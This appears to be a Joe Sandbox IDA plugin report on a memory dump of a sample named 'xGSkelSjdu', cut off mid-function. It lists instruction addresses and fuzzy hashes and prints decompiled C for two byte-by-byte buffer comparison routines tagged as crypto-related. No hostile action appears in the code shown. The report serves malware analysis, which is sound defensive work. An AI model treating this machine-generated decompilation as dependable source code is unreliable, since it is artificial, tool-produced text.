0x00410ff3
0x00410ff7
0x00410ff7
0x00000000
0x00410fea
0x00410fcf
0x00410fd2
0x00410fd6
0x00410fda
0x00000000
0x00000000
0x00000000
0x00410fda
0x00410fae
0x00410fb1
0x00410fb5
0x00410fb9
0x00000000
0x00000000
0x00000000
0x00410fb9
0x00410f8d
0x00410f90
0x00410f94
0x00410f98
0x00000000
0x00000000
0x00000000
0x00000000
0x004102da
0x004102da
0x004102e0
0x0041035f
0x00410361
0x00410363
0x00000000
0x00000000
0x00000000
0x00410363
0x004102e2
0x004102e5
0x004102e9
0x004102eb
0x00410302
0x00410302
0x00410306
0x0041030a
0x0041030c
0x00410323
0x00410323
0x00410327
0x0041032b
0x0041032d
0x00410344
0x00410344
0x00410348
0x0041034c
0x0041034e
0x00410354
0x00410357
0x0041035b
0x0041035b
0x00000000
0x0041034e
0x00410333
0x00410336
0x0041033a
0x0041033e
0x00000000
0x00000000
0x00000000
0x0041033e
0x00410312
0x00410315
0x00410319
0x0041031d
0x00000000
0x00000000
0x00000000
0x0041031d
0x004102f1
0x004102f4
0x004102f8
0x004102fc
0x00000000
0x00000000
0x00000000
0x00000000
0x004106ba
0x004106ba
0x004106c0
0x0041073f
0x00410741
0x00410743
0x00000000
0x00000000
0x00000000
0x00410743
0x004106c2
0x004106c5
0x004106c9
0x004106cb
0x004106e2
0x004106e2
0x004106e6
0x004106ea
0x004106ec
0x00410703
0x00410703
0x00410707
0x0041070b
0x0041070d
0x00410724
0x00410724
0x00410728
0x0041072c
0x0041072e
0x00410734
0x00410737
0x0041073b
0x0041073b
0x00000000
0x0041072e
0x00410713
0x00410716
0x0041071a
0x0041071e
0x00000000
0x00000000
0x00000000
0x0041071e
0x004106f2
0x004106f5
0x004106f9
0x004106fd
0x00000000
0x00000000
0x00000000
0x004106fd
0x004106d1
0x004106d4
0x004106d8
0x004106dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00410ac6
0x00410ac6
0x00410acc
0x00410b4b
0x00410b4d
0x00410b4f
0x00000000
0x00000000
0x00000000
0x00410b4f
0x00410ace
0x00410ad1
0x00410ad5
0x00410ad7
0x00410aee
0x00410aee
0x00410af2
0x00410af6
0x00410af8
0x00410b0f
0x00410b0f
0x00410b13
0x00410b17
0x00410b19
0x00410b30
0x00410b30
0x00410b34
0x00410b38
0x00410b3a
0x00410b40
0x00410b43
0x00410b47
0x00410b47
0x00000000
0x00410b3a
0x00410b1f
0x00410b22
0x00410b26
0x00410b2a
0x00000000
0x00000000
0x00000000
0x00410b2a
0x00410afe
0x00410b01
0x00410b05
0x00410b09
0x00000000
0x00000000
0x00000000
0x00410b09
0x00410add
0x00410ae0
0x00410ae4
0x00410ae8
0x00000000
0x00000000
0x00000000
0x00000000
0x00410ee7
0x00410ee7
0x00410eed
0x00410f6c
0x00410f6e
0x00410f70
0x00000000
0x00000000
0x00000000
0x00410f70
0x00410eef
0x00410ef2
0x00410ef6
0x00410ef8
0x00410f0f
0x00410f0f
0x00410f13
0x00410f17
0x00410f19
0x00410f30
0x00410f30
0x00410f34
0x00410f38
0x00410f3a
0x00410f51
0x00410f51
0x00410f55
0x00410f59
0x00410f5b
0x00410f61
0x00410f64
0x00410f68
0x00410f68
0x00000000
0x00410f5b
0x00410f40
0x00410f43
0x00410f47
0x00410f4b
0x00000000
0x00000000
0x00000000
0x00410f4b
0x00410f1f
0x00410f22
0x00410f26
0x00410f2a
0x00000000
0x00000000
0x00000000
0x00410f2a
0x00410efe
0x00410f01
0x00410f05
0x00410f09
0x00000000
0x00000000
0x00000000
0x00000000
0x00410257
0x0041025d
0x004102d0
0x004102d2
0x004102d4
0x00000000
0x00000000
0x00000000
0x004102d4
0x0041025f
0x00410262
0x00410266
0x00410268
0x0041027b
0x0041027b
0x0041027f
0x00410283
0x00410285
0x00410298
0x00410298
0x0041029c
0x004102a0
0x004102a2
0x004102b5
0x004102b5
0x004102b9
0x004102bd
0x004102bf
0x004102c5
0x004102c8
0x004102cc
0x004102cc
0x00000000
0x004102bf
0x004102a8
0x004102ab
0x004102af
0x004102b3
0x00000000
0x00000000
0x00000000
0x004102b3
0x0041028b
0x0041028e
0x00410292
0x00410296
0x00000000
0x00000000
0x00000000
0x00410296
0x0041026e
0x00410271
0x00410275
0x00410279
0x00000000
0x00000000
0x00000000
0x00000000
0x0041062b
0x00410631
0x004106b0
0x004106b2
0x004106b4
0x00000000
0x00000000
0x00000000
0x004106b4
0x00410633
0x00410636
0x0041063a
0x0041063c
0x00410653
0x00410653
0x00410657
0x0041065b
0x0041065d
0x00410674
0x00410674
0x00410678
0x0041067c
0x0041067e
0x00410695
0x00410695
0x00410699
0x0041069d
0x0041069f
0x004106a5
0x004106a8
0x004106ac
0x004106ac
0x00000000
0x0041069f
0x00410684
0x00410687
0x0041068b
0x0041068f
0x00000000
0x00000000
0x00000000
0x0041068f
0x00410663
0x00410666
0x0041066a
0x0041066e
0x00000000
0x00000000
0x00000000
0x0041066e
0x00410642
0x00410645
0x00410649
0x0041064d
0x00000000
0x00000000
0x00000000
0x00000000
0x00410a37
0x00410a3d
0x00410abc
0x00410abe
0x00410ac0
0x00000000
0x00000000
0x00000000
0x00410ac0
0x00410a3f
0x00410a42
0x00410a46
0x00410a48
0x00410a5f
0x00410a5f
0x00410a63
0x00410a67
0x00410a69
0x00410a80
0x00410a80
0x00410a84
0x00410a88
0x00410a8a
0x00410aa1
0x00410aa1
0x00410aa5
0x00410aa9
0x00410aab
0x00410ab1
0x00410ab4
0x00410ab8
0x00410ab8
0x00000000
0x00410aab
0x00410a90
0x00410a93
0x00410a97
0x00410a9b
0x00000000
0x00000000
0x00000000
0x00410a9b
0x00410a6f
0x00410a72
0x00410a76
0x00410a7a
0x00000000
0x00000000
0x00000000
0x00410a7a
0x00410a4e
0x00410a51
0x00410a55
0x00410a59
0x00000000
0x00000000
0x00000000
0x00000000
0x00410e57
0x00410e5d
0x00410edd
0x00410edf
0x00410ee1
0x00000000
0x00000000
0x00000000
0x00410ee1
0x00410e5f
0x00410e63
0x00410e67
0x00410e69
0x00410e80
0x00410e80
0x00410e84
0x00410e88
0x00410e8a
0x00410ea1
0x00410ea1
0x00410ea5
0x00410ea9
0x00410eab
0x00410ec2
0x00410ec2
0x00410ec6
0x00410eca
0x00410ecc
0x00410ed2
0x00410ed5
0x00410ed9
0x00410ed9
0x00000000
0x00410ecc
0x00410eb1
0x00410eb4
0x00410eb8
0x00410ebc
0x00000000
0x00000000
0x00000000
0x00410ebc
0x00410e90
0x00410e93
0x00410e97
0x00410e9b
0x00000000
0x00000000
0x00000000
0x00410e9b
0x00410e6f
0x00410e72
0x00410e76
0x00410e7a
0x00000000
0x00000000
0x00000000
0x00000000
0x00410249

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd28e6fed0dbb60bcfa6ef0b81868f924ab701b320d27d168337f0184f783b7f
Instruction ID: eef21f1591a35c3a9b3a290247194477f2165522d25712a4854893f45c79ddba
Opcode Fuzzy Hash: fd28e6fed0dbb60bcfa6ef0b81868f924ab701b320d27d168337f0184f783b7f
Instruction Fuzzy Hash: B002BB33D496B34B8B714EF944E01A77AA05E0169030F87FADDD43F396C22ADD8996E4

Uniqueness

Uniqueness Score: -1.00%

Function 00410E57 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00410E57(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x00410e57
0x00410e57
0x00410e5d
0x00410edd
0x00410edf
0x00410ee1
0x00000000
0x00000000
0x00410ee7
0x00410eed
0x00410f6c
0x00410f6e
0x00410f70
0x00000000
0x00000000
0x00410f76
0x00410f7c
0x00410ffb
0x00410ffd
0x00410fff
0x00000000
0x00000000
0x00411005
0x0041100b
0x0041108a
0x0041108c
0x0041108e
0x00000000
0x00000000
0x0041109a
0x0041111a
0x0041111c
0x0041111e
0x00000000
0x00000000
0x00411124
0x0041112a
0x004111a9
0x004111ab
0x004111ad
0x00000000
0x00000000
0x004111b3
0x004111b9
0x00411238
0x0041123a
0x0041123c
0x00000000
0x00000000
0x0041124a
0x0041124c
0x00410e2f
0x00410e37
0x00410e39
0x00410a15
0x00410a1d
0x00410a1f
0x00410a30
0x00410a30
0x00410625
0x00411381
0x00411381
0x00410e46
0x00410e4c
0x00411265
0x00411265
0x00000000
0x00410e52
0x00000000
0x00410e52
0x00410e4c
0x00411259
0x0041125f
0x00000000
0x00000000
0x00000000
0x0041125f
0x004111c2
0x004111c4
0x004111db
0x004111e3
0x004111e5
0x004111fc
0x00411204
0x00411206
0x0041121d
0x00411225
0x00411227
0x00411234
0x00411234
0x00000000
0x00411227
0x00411213
0x00411217
0x00000000
0x00000000
0x00000000
0x00411217
0x004111f2
0x004111f6
0x00000000
0x00000000
0x00000000
0x004111f6
0x004111d1
0x004111d5
0x00000000
0x00000000
0x00000000
0x004111d5
0x00411133
0x00411135
0x0041114c
0x00411154
0x00411156
0x0041116d
0x00411175
0x00411177
0x0041118e
0x00411196
0x00411198
0x004111a5
0x004111a5
0x00000000
0x00411198
0x00411184
0x00411188
0x00000000
0x00000000
0x00000000
0x00411188
0x00411163
0x00411167
0x00000000
0x00000000
0x00000000
0x00411167
0x00411142
0x00411146
0x00000000
0x00000000
0x00000000
0x00411146
0x004110a4
0x004110a6
0x004110bd
0x004110c5
0x004110c7
0x004110de
0x004110e6
0x004110e8
0x004110ff
0x00411107
0x00411109
0x00411116
0x00411116
0x00000000
0x00411109
0x004110f5
0x004110f9
0x00000000
0x00000000
0x00000000
0x004110f9
0x004110d4
0x004110d8
0x00000000
0x00000000
0x00000000
0x004110d8
0x004110b3
0x004110b7
0x00000000
0x00000000
0x00000000
0x004110b7
0x00411014
0x00411016
0x0041102d
0x00411035
0x00411037
0x0041104e
0x00411056
0x00411058
0x0041106f
0x00411077
0x00411079
0x00411086
0x00411086
0x00000000
0x00411079
0x00411065
0x00411069
0x00000000
0x00000000
0x00000000
0x00411069
0x00411044
0x00411048
0x00000000
0x00000000
0x00000000
0x00411048
0x00411023
0x00411027
0x00000000
0x00000000
0x00000000
0x00411027
0x00410f85
0x00410f87
0x00410f9e
0x00410fa6
0x00410fa8
0x00410fbf
0x00410fc7
0x00410fc9
0x00410fe0
0x00410fe8
0x00410fea
0x00410ff7
0x00410ff7
0x00000000
0x00410fea
0x00410fd6
0x00410fda
0x00000000
0x00000000
0x00000000
0x00410fda
0x00410fb5
0x00410fb9
0x00000000
0x00000000
0x00000000
0x00410fb9
0x00410f94
0x00410f98
0x00000000
0x00000000
0x00000000
0x00410f98
0x00410ef6
0x00410ef8
0x00410f0f
0x00410f17
0x00410f19
0x00410f30
0x00410f38
0x00410f3a
0x00410f51
0x00410f59
0x00410f5b
0x00410f68
0x00410f68
0x00000000
0x00410f5b
0x00410f47
0x00410f4b
0x00000000
0x00000000
0x00000000
0x00410f4b
0x00410f26
0x00410f2a
0x00000000
0x00000000
0x00000000
0x00410f2a
0x00410f05
0x00410f09
0x00000000
0x00000000
0x00000000
0x00410e5f
0x00410e5f
0x00410e63
0x00410e67
0x00410e69
0x00410e80
0x00410e80
0x00410e84
0x00410e88
0x00410e8a
0x00410ea1
0x00410ea1
0x00410ea5
0x00410ea9
0x00410eab
0x00410ec2
0x00410ec2
0x00410ec6
0x00410eca
0x00410ecc
0x00410ed2
0x00410ed5
0x00410ed9
0x00410ed9
0x00000000
0x00410ecc
0x00410eb1
0x00410eb4
0x00410eb8
0x00410ebc
0x00000000
0x00000000
0x00000000
0x00410ebc
0x00410e90
0x00410e93
0x00410e97
0x00410e9b
0x00000000
0x00000000
0x00000000
0x00410e9b
0x00410e6f
0x00410e72
0x00410e76
0x00410e7a
0x00000000
0x00000000
0x00000000
0x00410e7a
0x00410250
0x00410250
0x00000000

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 71631e959dfba2689a8eececc84fc757fbd87c61b3115f2dfddf306cd494a36f
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: B2D17073C1A9B3068735826D44982BBEE626FD174031EC3E2DCE43F389966E9DC195D8

Uniqueness

Uniqueness Score: -1.00%

Function 00410A37 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00410A37(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
